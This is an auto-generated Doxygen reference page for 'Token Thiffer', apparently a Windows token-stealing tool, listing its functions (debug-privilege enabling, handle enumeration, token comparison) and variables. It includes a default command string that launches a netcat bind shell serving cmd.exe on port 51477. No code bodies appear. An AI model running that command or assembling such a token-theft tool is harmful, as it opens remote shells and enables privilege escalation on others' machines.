C:/Web/tthieffer/TokenExecution/Tthieffer.c File Reference

#include "Tthieffer.h"

Go to the source code of this file.

Defines

#define LIMITED   "svchost.exe"
#define EXEC   "EXEC"
#define EXIT   "EXIT"
#define CMD   "CMD"
#define SHOWTOKENS   "SHOWTOKENS"

Functions

DWORD WINAPI procesa (LPVOID lpvParam)
DWORD ConsoleHandler (void)
void banner (void)
void usage (void)
void EnableDebugPrivilege ()
LPWSTR GetObjectInfo (HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
int main (int argc, char *argv[])
void ShowHelp (void)
void ShowTokens (void)
BOOL ExisteUsuario (int InUse)

Variables

NTQUERYOBJECT NtQueryObject
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation
NTCOMPARETOKENS NtCompareTokens
CREDENCIALES credenciales [MAX_USERS]
short InUse = 0
char command [256] = "nc.exe -l -p 51477 -e cmd.exe"
BOOL SHOWALLTOKENS = 0


Define Documentation

#define CMD   "CMD"

#define EXEC   "EXEC"

Referenced by ConsoleHandler().

#define EXIT   "EXIT"

Referenced by ConsoleHandler().

#define LIMITED   "svchost.exe"

Definition at line 50 of file Tthieffer.c.

Referenced by main().

#define SHOWTOKENS   "SHOWTOKENS"


Function Documentation

void banner ( void   ) 

Definition at line 351 of file Tthieffer.c.

Referenced by main().

DWORD ConsoleHandler ( void   ) 

Definition at line 274 of file Tthieffer.c.

References EXEC, EXIT, InUse, procesa(), ShowHelp(), and ShowTokens().

Referenced by main().

void EnableDebugPrivilege (  ) 

Definition at line 366 of file Tthieffer.c.

Referenced by main().

BOOL ExisteUsuario ( int  InUse  ) 

Definition at line 331 of file Tthieffer.c.

References NtCompareTokens.

Referenced by main().

LPWSTR GetObjectInfo ( HANDLE  hObject,
OBJECT_INFORMATION_CLASS  objInfoClass 
)

Definition at line 208 of file Tthieffer.c.

References _UNICODE_STRING::Buffer, _UNICODE_STRING::Length, NtQueryObject, STATUS_BUFFER_OVERFLOW, STATUS_INFO_LENGTH_MISMATCH, and STATUS_SUCCESS.

Referenced by main().

int main ( int  argc,
char *  argv[] 
)

Definition at line 52 of file Tthieffer.c.

References banner(), command, ConsoleHandler(), EnableDebugPrivilege(), ExisteUsuario(), GetObjectInfo(), _SYSTEM_HANDLE::Handle, _SYSTEM_HANDLE_INFORMATION::Handles, InUse, LIMITED, NtCompareTokens, NtQueryObject, NtQuerySystemInformation, ObjectTypeInformation, _credenciales::pid, SHOWALLTOKENS, STATUS_INFO_LENGTH_MISMATCH, STATUS_SUCCESS, SystemHandleInformation, _SYSTEM_HANDLE_INFORMATION::uCount, _SYSTEM_HANDLE::uIdProcess, and usage().

DWORD WINAPI procesa ( LPVOID  lpvParam  ) 

Definition at line 228 of file Tthieffer.c.

References command.

Referenced by ConsoleHandler().

void ShowHelp ( void   ) 

Definition at line 254 of file Tthieffer.c.

Referenced by ConsoleHandler().

void ShowTokens ( void   ) 

Definition at line 261 of file Tthieffer.c.

References InUse.

Referenced by ConsoleHandler().

void usage ( void   ) 

Definition at line 357 of file Tthieffer.c.

Referenced by main().


Variable Documentation

char command[256] = "nc.exe -l -p 51477 -e cmd.exe"

Definition at line 48 of file Tthieffer.c.

Referenced by main(), and procesa().

CREDENCIALES credenciales[MAX_USERS]

Definition at line 46 of file Tthieffer.c.

short InUse = 0

Definition at line 47 of file Tthieffer.c.

Referenced by ConsoleHandler(), main(), and ShowTokens().

NTCOMPARETOKENS NtCompareTokens

Definition at line 36 of file Tthieffer.c.

Referenced by ExisteUsuario(), and main().

NTQUERYOBJECT NtQueryObject

Definition at line 34 of file Tthieffer.c.

Referenced by GetObjectInfo(), and main().

NTQUERYSYSTEMINFORMATION NtQuerySystemInformation

Definition at line 35 of file Tthieffer.c.

Referenced by main().

BOOL SHOWALLTOKENS = 0

Definition at line 49 of file Tthieffer.c.

Referenced by main().


Generated on Fri Feb 22 13:02:52 2008 for Token Thiffer by  doxygen 1.5.4